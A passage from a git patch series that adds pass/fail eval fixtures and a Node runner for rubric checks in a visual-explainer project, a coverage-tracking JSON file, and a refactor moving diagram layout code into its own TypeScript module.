@@ +{ + "context": "Source document has 7 decision cards; the deck's extracted text only covers 4 of them.", + "judge_response": { + "pass": false, + "findings": [ + { + "check_id": "deck-content-completeness", + "evidence": "source table rows 'Rollback policy', 'On-call rotation', and 'Data retention window' have no corresponding slide heading, bullet, or card text anywhere in the extracted deck text", + "fix": "Add slides (or fold into existing slides with explicit callouts) for the 3 missing decision items, or note the intentional exclusion." + } + ] + } +} diff --git a/evals/fixtures/rubrics/diagram-type-coherent/clean.json b/evals/fixtures/rubrics/diagram-type-coherent/clean.json new file mode 100644 index 0000000..599f4dc --- /dev/null +++ b/evals/fixtures/rubrics/diagram-type-coherent/clean.json @@ -0,0 +1,7 @@ +{ + "context": "Figure screenshot is a single hand-authored flow diagram, one shape vocabulary throughout.", + "judge_response": { + "pass": true, + "findings": [] + } +} diff --git a/evals/fixtures/rubrics/diagram-type-coherent/fire.json b/evals/fixtures/rubrics/diagram-type-coherent/fire.json new file mode 100644 index 0000000..dc01d67 --- /dev/null +++ b/evals/fixtures/rubrics/diagram-type-coherent/fire.json @@ -0,0 +1,13 @@ +{ + "context": "Figure screenshot mixes swimlane lanes with a nested-containment metaphor in one canvas.", + "judge_response": { + "pass": false, + "findings": [ + { + "check_id": "diagram-type-coherent", + "evidence": "figure 1 screenshot: left half draws horizontal swimlanes, right half draws nested containment boxes for the same data — reads as two diagram types glued together", + "fix": "Pick one diagram type (swimlane or nested-containment) for the whole figure and redraw the other half to match." + } + ] + } +} diff --git a/evals/fixtures/rubrics/fixed-ui-obscures-content/clean.json b/evals/fixtures/rubrics/fixed-ui-obscures-content/clean.json new file mode 100644 index 0000000..577dc5e --- /dev/null +++ b/evals/fixtures/rubrics/fixed-ui-obscures-content/clean.json @@ -0,0 +1,7 @@ +{ + "context": "390x844 screenshot shows the fixed theme toggle in a corner with no overlap onto readable or clickable content.", + "judge_response": { + "pass": true, + "findings": [] + } +} diff --git a/evals/fixtures/rubrics/fixed-ui-obscures-content/fire.json b/evals/fixtures/rubrics/fixed-ui-obscures-content/fire.json new file mode 100644 index 0000000..dcfc0ad --- /dev/null +++ b/evals/fixtures/rubrics/fixed-ui-obscures-content/fire.json @@ -0,0 +1,13 @@ +{ + "context": "390x844 screenshot shows a floating theme toggle covering the page title.", + "judge_response": { + "pass": false, + "findings": [ + { + "check_id": "fixed-ui-obscures-content", + "evidence": "390-light screenshot: fixed theme-toggle button overlaps the top third of the h1 title text, making it unreadable", + "fix": "Reposition the fixed toggle away from primary content, or add safe-area padding to the title block." + } + ] + } +} diff --git a/evals/fixtures/rubrics/preset-both-mode-visual/clean.json b/evals/fixtures/rubrics/preset-both-mode-visual/clean.json new file mode 100644 index 0000000..ce1caef --- /dev/null +++ b/evals/fixtures/rubrics/preset-both-mode-visual/clean.json @@ -0,0 +1,7 @@ +{ + "context": "Paired light and dark full-page screenshots both invert cleanly with no leftover wrong-mode fills.", + "judge_response": { + "pass": true, + "findings": [] + } +} diff --git a/evals/fixtures/rubrics/preset-both-mode-visual/fire.json b/evals/fixtures/rubrics/preset-both-mode-visual/fire.json new file mode 100644 index 0000000..2d05dae --- /dev/null +++ b/evals/fixtures/rubrics/preset-both-mode-visual/fire.json @@ -0,0 +1,13 @@ +{ + "context": "A Mono page where one section's background stays dark in light mode because its fill was hard-coded.", + "judge_response": { + "pass": false, + "findings": [ + { + "check_id": "preset-both-mode-visual", + "evidence": "light screenshot: the 'Status' card panel keeps a #0b0d10 dark background while the rest of the page is on the light token set, reading as a broken invert", + "fix": "Replace the hard-coded background with the theme token so it participates in the light/dark swap." + } + ] + } +} diff --git a/evals/fixtures/rubrics/reel-caption-matches-transcript/clean/captions.json b/evals/fixtures/rubrics/reel-caption-matches-transcript/clean/captions.json new file mode 100644 index 0000000..fb984ab --- /dev/null +++ b/evals/fixtures/rubrics/reel-caption-matches-transcript/clean/captions.json @@ -0,0 +1,5 @@ +{ + "segments": [ + { "start": 0.0, "end": 2.2, "text": "Our engine cuts p99 latency in half." } + ] +} diff --git a/evals/fixtures/rubrics/reel-caption-matches-transcript/clean/transcript.json b/evals/fixtures/rubrics/reel-caption-matches-transcript/clean/transcript.json new file mode 100644 index 0000000..0888d4a --- /dev/null +++ b/evals/fixtures/rubrics/reel-caption-matches-transcript/clean/transcript.json @@ -0,0 +1,11 @@ +{ + "words": [ + { "text": "Our", "start": 0.0, "end": 0.2 }, + { "text": "engine", "start": 0.2, "end": 0.6 }, + { "text": "cuts", "start": 0.6, "end": 0.9 }, + { "text": "p99", "start": 0.9, "end": 1.2 }, + { "text": "latency", "start": 1.2, "end": 1.7 }, + { "text": "in", "start": 1.7, "end": 1.8 }, + { "text": "half", "start": 1.8, "end": 2.2 } + ] +} diff --git a/evals/fixtures/rubrics/reel-caption-matches-transcript/fire/captions.json b/evals/fixtures/rubrics/reel-caption-matches-transcript/fire/captions.json new file mode 100644 index 0000000..943bc13 --- /dev/null +++ b/evals/fixtures/rubrics/reel-caption-matches-transcript/fire/captions.json @@ -0,0 +1,5 @@ +{ + "segments": [ + { "start": 0.0, "end": 2.2, "text": "We speed up queries" } + ] +} diff --git a/evals/fixtures/rubrics/reel-caption-matches-transcript/fire/transcript.json b/evals/fixtures/rubrics/reel-caption-matches-transcript/fire/transcript.json new file mode 100644 index 0000000..0888d4a --- /dev/null +++ b/evals/fixtures/rubrics/reel-caption-matches-transcript/fire/transcript.json @@ -0,0 +1,11 @@ +{ + "words": [ + { "text": "Our", "start": 0.0, "end": 0.2 }, + { "text": "engine", "start": 0.2, "end": 0.6 }, + { "text": "cuts", "start": 0.6, "end": 0.9 }, + { "text": "p99", "start": 0.9, "end": 1.2 }, + { "text": "latency", "start": 1.2, "end": 1.7 }, + { "text": "in", "start": 1.7, "end": 1.8 }, + { "text": "half", "start": 1.8, "end": 2.2 } + ] +} diff --git a/evals/fixtures/rubrics/text-visibly-clipped/clean.json b/evals/fixtures/rubrics/text-visibly-clipped/clean.json new file mode 100644 index 0000000..d6da184 --- /dev/null +++ b/evals/fixtures/rubrics/text-visibly-clipped/clean.json @@ -0,0 +1,7 @@ +{ + "context": "390x844 light/dark screenshots show all headings and body text fully visible with normal line wrapping.", + "judge_response": { + "pass": true, + "findings": [] + } +} diff --git a/evals/fixtures/rubrics/text-visibly-clipped/fire.json b/evals/fixtures/rubrics/text-visibly-clipped/fire.json new file mode 100644 index 0000000..83542e2 --- /dev/null +++ b/evals/fixtures/rubrics/text-visibly-clipped/fire.json @@ -0,0 +1,13 @@ +{ + "context": "390x844 light/dark screenshots show a mobile heading losing its final word at the right edge with no ellipsis.", + "judge_response": { + "pass": false, + "findings": [ + { + "check_id": "text-visibly-clipped", + "evidence": "390-light screenshot: heading 'Architect...' chopped mid-word by the hero container's overflow:hidden edge, no ellipsis present", + "fix": "Add text-overflow: ellipsis or increase container width/line-height so the heading is not chopped mid-character." + } + ] + } +} diff --git a/evals/run-rubrics.mjs b/evals/run-rubrics.mjs new file mode 100644 index 0000000..770ee76 --- /dev/null +++ b/evals/run-rubrics.mjs @@ -0,0 +1,187 @@ +#!/usr/bin/env node +// Regression suite for the 30 llm-pass/transcript catalog checks that +// evals/run.mjs cannot exercise (it filters to static-text/static-dom/browser +// stages by design — see plans/007-DESIGN-NOTE.md for why). +// +// Mechanism (design note, mechanism A "stub judge" + one real-algorithm +// exception): the production verifier never calls a model in-process — see +// engine.mjs's stage handling for llm-pass/transcript, which only marks a +// status without invoking anything. The actual model call happens outside +// this codebase, via a Task-agent protocol that reads a rubric file and +// returns a JSON verdict `{pass, findings:[{check_id, evidence, fix}]}` +// (schema repeated verbatim across every file in scripts/verify/rubrics/). +// Since there is no existing parser for that verdict shape to reuse or +// stub, this runner owns a small purpose-built version of it, scoped +// entirely to evals/ — it does not modify the verifier. +// +// Two fixture families, mirroring evals/run.mjs's fixture/expectation split: +// 1. Canned-judge checks (5 of the 6): evals/fixtures/rubrics//{fire,clean}.json +// each holding a canned judge_response. deriveStatus() below is the +// plumbing under test: does a finding tagged with this check's id +// correctly flip it to fail (per its checks.json severity), and does +// an empty findings list correctly leave it passing. +// 2. reel-caption-matches-transcript: implements the REAL deterministic +// word-overlap scorer from checks.json's spec/impl_hint (the common +// case needs no model at all; only the 85-90% borderline band would +// need an LLM tie-break, which this runner does not exercise). + +import { readFileSync, readdirSync, existsSync } from 'node:fs'; +import { dirname, join, resolve } from 'node:path'; +import { fileURLToPath } from 'node:url'; + +const EVAL_ROOT = dirname(fileURLToPath(import.meta.url)); +const REPO_ROOT = resolve(EVAL_ROOT, '..'); +const RUBRICS_FIXTURES_ROOT = join(EVAL_ROOT, 'fixtures', 'rubrics'); + +const checksCatalog = JSON.parse( + readFileSync(resolve(REPO_ROOT, 'plugins/visual-explainer/scripts/verify/checks.json'), 'utf8'), +).checks; + +const severityById = new Map(checksCatalog.map((check) => [check.id, check.severity])); + +// The first implementation slice from plan 007 step 3: 6 checks, the +// 13 error-severity uncovered checks are the priority pool this was drawn +// from. `mode: 'stub'` checks are asserted via deriveStatus() against a +// canned judge_response fixture; `mode: 'algorithm'` runs the real scorer. +const SLICE = [ + { id: 'text-visibly-clipped', mode: 'stub' }, + { id: 'fixed-ui-obscures-content', mode: 'stub' }, + { id: 'diagram-type-coherent', mode: 'stub' }, + { id: 'preset-both-mode-visual', mode: 'stub' }, + { id: 'deck-content-completeness', mode: 'stub' }, + { id: 'reel-caption-matches-transcript', mode: 'algorithm' }, +]; + +// --- Mechanism A plumbing: verdict -> check status ------------------------- +// Mirrors the actionable-result-to-status logic engine.mjs:64-75 applies to +// static-text/static-dom/browser results, adapted for a rubric verdict +// instead of a stage implementation's return value. +export function deriveStatus(checkId, judgeResponse, severity) { + if (!judgeResponse || !Array.isArray(judgeResponse.findings)) { + throw new Error(`malformed judge response for ${checkId}: missing findings array`); + } + const finding = judgeResponse.findings.find((entry) => entry.check_id === checkId); + if (!finding) return { status: 'pass', evidence: 'ok' }; + const status = severity === 'warn' ? 'warn' : 'fail'; + return { status, evidence: finding.evidence || '', fix_hint: finding.fix || '' }; +} + +function runStubCheck(id) { + const severity = severityById.get(id); + if (!severity) throw new Error(`checks.json has no entry for ${id} (catalog drift?)`); + const dir = join(RUBRICS_FIXTURES_ROOT, id); + const rows = []; + for (const caseName of ['fire', 'clean']) { + const fixturePath = join(dir, `${caseName}.json`); + if (!existsSync(fixturePath)) { + rows.push({ id, caseName, status: 'error', message: `missing fixture ${fixturePath}` }); + continue; + } + const fixture = JSON.parse(readFileSync(fixturePath, 'utf8')); + const result = deriveStatus(id, fixture.judge_response, severity); + const expected = caseName === 'fire' ? (severity === 'warn' ? 'warn' : 'fail') : 'pass'; + const pass = result.status === expected; + rows.push({ + id, + caseName, + status: pass ? 'pass' : 'FAIL', + message: pass ? `derived=${result.status}` : `expected=${expected} derived=${result.status}`, + }); + } + return rows; +} + +// --- Real algorithm: word-overlap scorer for caption vs. transcript -------- +// Per checks.json's impl_hint: "Normalize both streams; sliding-window +// overlap ratio per caption." A full sliding-window implementation is +// overkill for proving the plumbing works; a multiset overlap ratio over +// normalized words is a faithful, order-tolerant approximation of the same +// idea and is what's implemented here. +const OVERLAP_THRESHOLD = 0.9; + +export function normalizeWords(text) { + return text + .toLowerCase() + .replace(/[^\w\s]/g, ' ') + .split(/\s+/) + .filter(Boolean); +} + +export function overlapRatio(captionWords, transcriptWords) { + if (captionWords.length === 0) return 1; + const pool = [...transcriptWords]; + let matched = 0; + for (const word of captionWords) { + const idx = pool.indexOf(word); + if (idx !== -1) { + matched += 1; + pool.splice(idx, 1); + } + } + return matched / captionWords.length; +} + +function runTranscriptCheck(id) { + const severity = severityById.get(id); + if (!severity) throw new Error(`checks.json has no entry for ${id} (catalog drift?)`); + const dir = join(RUBRICS_FIXTURES_ROOT, id); + const rows = []; + for (const caseName of ['fire', 'clean']) { + const captionsPath = join(dir, caseName, 'captions.json'); + const transcriptPath = join(dir, caseName, 'transcript.json'); + if (!existsSync(captionsPath) || !existsSync(transcriptPath)) { + rows.push({ id, caseName, status: 'error', message: `missing fixture under ${join(dir, caseName)}` }); + continue; + } + const { segments } = JSON.parse(readFileSync(captionsPath, 'utf8')); + const { words } = JSON.parse(readFileSync(transcriptPath, 'utf8')); + const captionText = segments.map((segment) => segment.text).join(' '); + const captionWords = normalizeWords(captionText); + const transcriptWords = words.map((word) => normalizeWords(word.text)[0]).filter(Boolean); + const ratio = overlapRatio(captionWords, transcriptWords); + const derivedStatus = ratio < OVERLAP_THRESHOLD ? (severity === 'warn' ? 'warn' : 'fail') : 'pass'; + const expected = caseName === 'fire' ? (severity === 'warn' ? 'warn' : 'fail') : 'pass'; + const pass = derivedStatus === expected; + rows.push({ + id, + caseName, + status: pass ? 'pass' : 'FAIL', + message: pass + ? `ratio=${ratio.toFixed(2)} derived=${derivedStatus}` + : `expected=${expected} derived=${derivedStatus} ratio=${ratio.toFixed(2)}`, + }); + } + return rows; +} + +// --- Driver ------------------------------------------------------------ + +const catalogIds = new Set(checksCatalog.map((check) => check.id)); +const missingFromCatalog = SLICE.filter((entry) => !catalogIds.has(entry.id)); +if (missingFromCatalog.length) { + console.error(`Slice references ids not present in checks.json: ${missingFromCatalog.map((e) => e.id).join(', ')}`); + process.exit(2); +} + +const allRows = []; +for (const entry of SLICE) { + const rows = entry.mode === 'algorithm' ? runTranscriptCheck(entry.id) : runStubCheck(entry.id); + allRows.push(...rows); +} + +console.log('check_id,case,status,detail'); +for (const row of allRows) { + console.log(`${row.id},${row.caseName},${row.status},${row.message}`); +} + +const failures = allRows.filter((row) => row.status !== 'pass'); +if (failures.length) { + console.error('\nFailures:'); + for (const failure of failures) { + console.error(`- ${failure.id} (${failure.caseName}): ${failure.message}`); + } + process.exit(1); +} + +const checksCovered = new Set(allRows.map((row) => row.id)).size; +console.log(`\nAll ${allRows.length} assertions passed across ${checksCovered} checks (fire + no-fire each).`); diff --git a/package.json b/package.json index 65c3cd2..1a9a977 100644 --- a/package.json +++ b/package.json @@ -17,6 +17,7 @@ "ve:check-integrity": "node scripts/ve-mdx/check-integrity.mjs", "ve:verify": "node plugins/visual-explainer/scripts/verify/ve-verify.mjs", "ve:eval": "node evals/run.mjs", + "ve:eval-rubrics": "node evals/run-rubrics.mjs", "check:manifests": "node scripts/check-manifests.mjs" }, "dependencies": { From a1ce1a55c129f2c493eea7ef07d8bc94836ddf94 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:43:59 -0700 Subject: [PATCH 25/34] plan 007 step 5: track the remaining 24 uncovered llm-pass/transcript checks Adds evals/rubric-coverage.json listing the 6 checks now covered by evals/run-rubrics.mjs and the 24 still-uncovered llm-pass/transcript checks as tracked backlog, per plan 007's parity-accounting step. Deliberately separate from evals/parity-allowlist.json (plan 003), which is scoped to deterministic-stage checks only. Verified the two arrays exactly partition the 30 llm-pass+transcript checks in checks.json (no gaps, no duplicates). Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- evals/rubric-coverage.json | 39 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 evals/rubric-coverage.json diff --git a/evals/rubric-coverage.json b/evals/rubric-coverage.json new file mode 100644 index 0000000..9677a05 --- /dev/null +++ b/evals/rubric-coverage.json @@ -0,0 +1,39 @@ +{ + "note": "Tracks executable-fixture coverage for the 30 llm-pass/transcript catalog checks that evals/run.mjs cannot exercise (see plans/007-DESIGN-NOTE.md). Separate from evals/parity-allowlist.json, which is scoped to deterministic-stage (static-text/static-dom/browser) checks only.", + "total_llm_pass_and_transcript_checks": 30, + "covered_by_evals_run_rubrics": [ + "text-visibly-clipped", + "fixed-ui-obscures-content", + "diagram-type-coherent", + "preset-both-mode-visual", + "deck-content-completeness", + "reel-caption-matches-transcript" + ], + "remaining_uncovered": [ + "real-table-for-tabular-data", + "hierarchy-squint-test", + "unslop-prose-style", + "diagram-legend-matches-figure", + "diagram-focal-single-dominant", + "diagram-proportional-honesty-visual", + "diagram-removal-simplicity", + "diagram-necessity", + "mono-status-value-judgment", + "mono-one-surprise", + "mono-three-layer-squint", + "nothing-accent-red-judgment", + "nothing-single-grid-break", + "slide-single-focal-point", + "composition-variety-visual", + "sparse-diagram-slide", + "poster-visual-fit-squint", + "reel-no-mid-word-cuts", + "demo-aesthetic-match", + "demo-adds-value", + "font-pairing-same-classification", + "default-accent-reflex", + "copy-redundancy", + "jargon-undefined" + ], + "remaining_count": 24 +} From 6f02ccffb74f4c731e93f1087518312ca21eca11 Mon Sep 17 00:00:00 2001 From: Clayton Kim Date: Mon, 6 Jul 2026 22:45:12 -0700 Subject: [PATCH 26/34] Extract diagram layout engine into diagram-layout.ts Plan 008 step 2: move layoutDiagram and its ~27-function/7-type geometry closure (rank computation, edge routing, label placement, text wrapping) out of components.tsx into visual-explainer-mdx/diagram-layout.ts, verbatim. components.tsx imports layoutDiagram, edgePath, labelLeaderEndpoint, mobileConnectorEdges, splitSvgText, and wrapWords back in; wrapWords is also needed by the unrelated Mermaid label wrapper, which now imports it across the new module boundary. npm run ve:check passes (exit 0, all 14 examples export). Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS --- visual-explainer-mdx/components.tsx | 540 +------------------------ visual-explainer-mdx/diagram-layout.ts | 540 +++++++++++++++++++++++++ 2 files changed, 541 insertions(+), 539 deletions(-) create mode 100644 visual-explainer-mdx/diagram-layout.ts diff --git a/visual-explainer-mdx/components.tsx b/visual-explainer-mdx/components.tsx index f5479ed..9d12e30 100644 --- a/visual-explainer-mdx/components.tsx +++ b/visual-explainer-mdx/components.tsx @@ -1,4 +1,5 @@ import React, { useEffect, useId, useMemo, useRef, useState, type ReactNode } from 'react'; +import { edgePath, labelLeaderEndpoint, layoutDiagram, mobileConnectorEdges, splitSvgText, wrapWords, type LaidOutNode } from './diagram-layout'; export type VisualPreset = 'mono-industrial' | 'nothing' | 'blueprint' | 'editorial' | 'paper-ink' | 'terminal' | 'custom'; @@ -429,21 +430,6 @@ function MobileSwimlaneVariant({ diagram }: { diagram: ReturnType, index: number) { - const nextIndex = index + 1; - const incoming = edges.filter(({ edge }) => { - const fromIndex = nodeOrder.get(edge.from); - const toIndex = nodeOrder.get(edge.to); - return fromIndex !== undefined && toIndex === nextIndex && fromIndex < toIndex; - }); - if (incoming.length) return incoming.slice(0, 3); - return edges.filter(({ edge }) => { - const fromIndex = nodeOrder.get(edge.from); - const toIndex = nodeOrder.get(edge.to); - return fromIndex === index && toIndex !== undefined && toIndex > fromIndex; - }).slice(0, 3); -} - export function FlowDiagram({ nodes, edges }: FlowDiagramProps) { return ; } @@ -708,465 +694,6 @@ export function MermaidBlock({ chart, caption }: MermaidBlockProps) { ); } -type LaidOutNode = DiagramNode & { - x: number; - y: number; - width: number; - height: number; - rank: number; - row: number; - order: number; - isAccented: boolean; -}; - -type Point = { x: number; y: number }; -type Rect = { x: number; y: number; width: number; height: number }; -type SwimlaneOrientation = 'horizontal' | 'vertical'; - -type LaidOutEdge = { - edge: DiagramEdge; - from: LaidOutNode; - to: LaidOutNode; - path: Point[]; - label?: EdgeLabelLayout; -}; - -type EdgeLabelLayout = { - x: number; - y: number; - width: number; - height: number; - lines: string[]; - anchor: Point; - leader?: boolean; -}; - -type LegendEntry = { - label: string; - accent?: boolean; - dashed?: boolean; -}; - -function layoutDiagram( - nodes: DiagramNode[], - edges: DiagramEdge[], - layout: NonNullable, - lanes?: DiagramCanvasProps['lanes'], - dates?: string[], -) { - const rankMap = computeRanks(nodes, edges); - const dense = nodes.length >= 7 || edges.length >= 10; - const nodeHeight = dense ? 76 : 96; - const columnGap = layout === 'timeline' ? 180 : layout === 'swimlane' ? (dense ? 176 : 204) : dense ? 204 : 240; - const rowGap = layout === 'tree' ? 128 : layout === 'swimlane' ? (dense ? 164 : 176) : dense ? 112 : 144; - const padding = { top: 64, right: 64, bottom: 72, left: 72 }; - const laneList = layout === 'swimlane' - ? lanes ?? Array.from(new Set(nodes.map((node) => node.lane ?? 'default'))).map((id) => ({ id, label: id })) - : []; - const laneIndex = new Map(laneList.map((lane, index) => [lane.id, index])); - const rankValues = Array.from(new Set(nodes.map((node, declarationIndex) => rankForNode(node, declarationIndex, layout, rankMap, dates)))).sort((a, b) => a - b); - const rankIndex = new Map(rankValues.map((rank, index) => [rank, index])); - const swimlaneOrientation: SwimlaneOrientation = layout === 'swimlane' && rankValues.length > 4 ? 'vertical' : 'horizontal'; - const swimlaneRankGap = dense ? 34 : 42; - const swimlaneColumnPitch = swimlaneOrientation === 'vertical' - ? laneList.length <= 6 - ? Math.max(136, Math.floor((960 - padding.left - padding.right) / Math.max(1, laneList.length))) - : dense ? 168 : 184 - : columnGap; - const swimlaneNodeMax = swimlaneOrientation === 'vertical' ? Math.max(124, Math.min(164, swimlaneColumnPitch - 32)) : 240; - const orderedDates = dates ?? Array.from(new Set(nodes.map((node) => node.date).filter(Boolean))) as string[]; - const dateIndex = new Map(orderedDates.map((date, index) => [date, index])); - const rankCounts = new Map(); - const laneRankCounts = new Map(); - let accentsUsed = 0; - const measured = nodes.map((node, declarationIndex) => { - const rank = layout === 'timeline' && node.date ? dateIndex.get(node.date) ?? declarationIndex : rankMap.get(node.id) ?? declarationIndex; - const inRank = rankCounts.get(rank) ?? 0; - rankCounts.set(rank, inRank + 1); - const wrapsDenseFlow = dense && layout !== 'swimlane' && layout !== 'timeline'; - const wrapColumns = 4; - const rankBand = wrapsDenseFlow ? Math.floor(rank / wrapColumns) : 0; - const visualRank = wrapsDenseFlow - ? rankBand % 2 === 0 - ? rank % wrapColumns - : wrapColumns - 1 - (rank % wrapColumns) - : rank; - const laneKey = `${node.lane ?? 'default'}::${rank}`; - const laneStack = layout === 'swimlane' ? laneRankCounts.get(laneKey) ?? 0 : 0; - if (layout === 'swimlane') laneRankCounts.set(laneKey, laneStack + 1); - const row = layout === 'swimlane' ? laneIndex.get(node.lane ?? 'default') ?? 0 : inRank + rankBand * 2; - const { width, height } = measureDiagramNode(node, dense, nodeHeight, swimlaneNodeMax); - const isAccented = Boolean(node.accent && accentsUsed < 2); - if (isAccented) accentsUsed += 1; - return { ...node, x: 0, y: 0, width, height, rank, row, order: declarationIndex, visualRank, laneStack, inRank, isAccented }; - }); - const laidOut = swimlaneOrientation === 'vertical' - ? layoutVerticalSwimlane(measured, laneIndex, rankIndex, padding, swimlaneColumnPitch, swimlaneRankGap) - : measured.map((node) => ({ - ...node, - x: padding.left + node.visualRank * columnGap, - y: padding.top + node.row * rowGap + (layout === 'timeline' && node.row % 2 ? 58 : 0) + node.laneStack * (nodeHeight + 16), - })); - const byId = new Map(laidOut.map((node) => [node.id, node])); - const connectedEdgePairs = edges.flatMap((edge) => { - const from = byId.get(edge.from); - const to = byId.get(edge.to); - return from && to ? [{ edge, from, to }] : []; - }); - const minX = Math.min(...laidOut.map((node) => node.x), padding.left) - padding.left; - const minY = Math.min(...laidOut.map((node) => node.y), padding.top) - padding.top; - const maxX = Math.max(...laidOut.map((node) => node.x + node.width), padding.left + 520) + padding.right; - const maxY = Math.max(...laidOut.map((node) => node.y + node.height), padding.top + 300) + padding.bottom; - const bounds = { minX, minY, maxX, maxY }; - const connectedEdges = placeEdgeLabels( - connectedEdgePairs.map(({ edge, from, to }) => ({ - edge, - from, - to, - path: edgeRoute(from, to, swimlaneOrientation === 'vertical' && layout === 'swimlane' ? 'vertical' : 'horizontal'), - })), - laidOut, - bounds, - dense, - ); - const finalMaxX = Math.max(maxX, ...connectedEdges.flatMap(({ label }) => label ? [label.x + label.width / 2 + 24] : [])); - const finalMaxY = Math.max(maxY, ...connectedEdges.flatMap(({ label }) => label ? [label.y + label.height / 2 + 32] : [])); - const bodyBottom = finalMaxY - 56; - const laneRects = laneList.map((lane, index) => swimlaneOrientation === 'vertical' ? ({ - id: lane.id, - label: lane.label.toUpperCase(), - orientation: 'vertical' as const, - divider: index < laneList.length - 1, - x: padding.left + index * swimlaneColumnPitch - swimlaneColumnPitch / 2 + 8, - y: minY + 22, - width: swimlaneColumnPitch, - height: bodyBottom - minY - 28, - }) : ({ - id: lane.id, - label: lane.label.toUpperCase(), - orientation: 'horizontal' as const, - divider: false, - x: minX + 18, - y: padding.top + index * rowGap - 28, - width: finalMaxX - minX - 36, - height: rowGap, - })); - const shapeSet = new Set(nodes.map((node) => node.shape ?? 'rect')); - const styleSet = new Set(edges.map((edge) => edge.style ?? 'solid')); - const legendEntries: LegendEntry[] = []; - if (nodes.some((node) => node.accent)) legendEntries.push({ label: 'FOCAL', accent: true }); - if (styleSet.has('solid') && styleSet.size > 1) legendEntries.push({ label: 'SOLID' }); - if (styleSet.has('dashed')) legendEntries.push({ label: 'DASHED', dashed: true }); - if (styleSet.has('bidirectional')) legendEntries.push({ label: 'TWO-WAY' }); - if (shapeSet.size > 1) legendEntries.push({ label: 'SHAPES VARY' }); - return { - nodes: laidOut, - edges: connectedEdges, - lanes: laneRects, - laneLabels: new Map(laneList.map((lane) => [lane.id, lane.label.toUpperCase()])), - dense, - orientation: swimlaneOrientation, - bodyBottom, - legend: { - x: minX + 28, - y: finalMaxY - 24, - entries: legendEntries.slice(0, 5), - // Entries start after the measured meta text ("SWIMLANE / 8 nodes / 12 edges") - // instead of a fixed offset that collides with longer meta strings. - entryStartX: minX + 28 + `${layout.toUpperCase()} / ${nodes.length} nodes / ${edges.length} edges`.length * 6.6 + 32, - }, - viewBox: { x: minX, y: minY, width: finalMaxX - minX, height: finalMaxY - minY }, - }; -} - -function rankForNode( - node: DiagramNode, - declarationIndex: number, - layout: NonNullable, - rankMap: Map, - dates?: string[], -) { - if (layout !== 'timeline' || !node.date) return rankMap.get(node.id) ?? declarationIndex; - const orderedDates = dates ?? []; - const dateIndex = new Map(orderedDates.map((date, index) => [date, index])); - return dateIndex.get(node.date) ?? declarationIndex; -} - -function measureDiagramNode(node: DiagramNode, dense: boolean, nodeHeight: number, maxWidth = 240) { - const width = node.shape === 'dot' - ? 32 - : dense - ? Math.max(124, Math.min(Math.min(152, maxWidth), node.label.length * 8 + 48)) - : Math.max(Math.min(152, maxWidth), Math.min(maxWidth, node.label.length * 10 + 72, (node.detail?.length ?? 0) * 5 + 72)); - const compact = width <= 140; - const detailMaxLines = compact ? 2 : 3; - const labelLineCount = node.shape === 'dot' ? 1 : splitSvgText(node.label, compact ? 15 : 20, { maxLines: 2 }).length; - const detailLineCount = node.detail && node.shape !== 'dot' ? splitSvgText(node.detail, compact ? 17 : 28, { ellipsis: true, maxLines: detailMaxLines }).length : 0; - const textBottom = (compact ? 59 : 72) + Math.max(0, labelLineCount - 1) * (compact ? 16 : 18) + (detailLineCount > 0 ? (detailLineCount - 1) * 13 + 12 : 0); - const height = node.shape === 'dot' ? 42 : Math.max(nodeHeight, textBottom + 14); - return { width, height }; -} - -function layoutVerticalSwimlane( - measured: T[], - laneIndex: Map, - rankIndex: Map, - padding: { top: number; left: number }, - columnPitch: number, - rowGap: number, -) { - const groupMap = new Map(); - for (const node of measured) { - const key = `${node.lane ?? 'default'}::${node.rank}`; - groupMap.set(key, [...groupMap.get(key) ?? [], node]); - } - const rowHeights = new Map(); - for (const [key, group] of groupMap) { - const rank = Number(key.split('::').at(-1)); - const sideBySideWidth = group.reduce((sum, node) => sum + node.width, 0) + Math.max(0, group.length - 1) * 12; - const groupHeight = sideBySideWidth <= columnPitch - 32 - ? Math.max(...group.map((node) => node.height)) - : group.reduce((sum, node) => sum + node.height, 0) + Math.max(0, group.length - 1) * 16; - const rankRow = rankIndex.get(rank) ?? rank; - rowHeights.set(rankRow, Math.max(rowHeights.get(rankRow) ?? 0, groupHeight)); - } - const rankY = new Map(); - let cursorY = padding.top + 54; - const rankRows = Array.from(new Set([...rankIndex.values()])).sort((a, b) => a - b); - for (const rankRow of rankRows) { - rankY.set(rankRow, cursorY); - cursorY += (rowHeights.get(rankRow) ?? 96) + rowGap; - } - const groupPositions = new Map>(); - for (const [key, group] of groupMap) { - const rank = Number(key.split('::').at(-1)); - const rankRow = rankIndex.get(rank) ?? rank; - const sideBySideWidth = group.reduce((sum, node) => sum + node.width, 0) + Math.max(0, group.length - 1) * 12; - const fitsSideBySide = sideBySideWidth <= columnPitch - 32; - const lane = laneIndex.get(group[0]?.lane ?? 'default') ?? 0; - const laneCenter = padding.left + lane * columnPitch; - const y = rankY.get(rankRow) ?? padding.top; - const positions = new Map(); - if (fitsSideBySide) { - let x = laneCenter - sideBySideWidth / 2; - for (const node of group) { - positions.set(node.id, { x, y }); - x += node.width + 12; - } - } else { - let stackY = y; - for (const node of group) { - positions.set(node.id, { x: laneCenter - node.width / 2, y: stackY }); - stackY += node.height + 16; - } - } - groupPositions.set(key, positions); - } - return measured.map((node) => { - const key = `${node.lane ?? 'default'}::${node.rank}`; - const point = groupPositions.get(key)?.get(node.id) ?? { x: padding.left, y: padding.top }; - return { ...node, x: point.x, y: point.y }; - }); -} - -function edgeRoute(from: LaidOutNode, to: LaidOutNode, orientation: SwimlaneOrientation): Point[] { - const start = edgePoint(from, to, orientation, true); - const end = edgePoint(to, from, orientation, false); - if (Math.abs(start.x - end.x) < 4 || Math.abs(start.y - end.y) < 4) return [start, end]; - if (orientation === 'vertical') { - const midY = Math.round((start.y + end.y) / 2 / 4) * 4; - return [{ ...start }, { x: start.x, y: midY }, { x: end.x, y: midY }, { ...end }]; - } - const midX = Math.round((start.x + end.x) / 2 / 4) * 4; - return [{ ...start }, { x: midX, y: start.y }, { x: midX, y: end.y }, { ...end }]; -} - -function placeEdgeLabels(edges: Array>, nodes: LaidOutNode[], bounds: { minX: number; minY: number; maxX: number; maxY: number }, dense: boolean): LaidOutEdge[] { - const occupied = 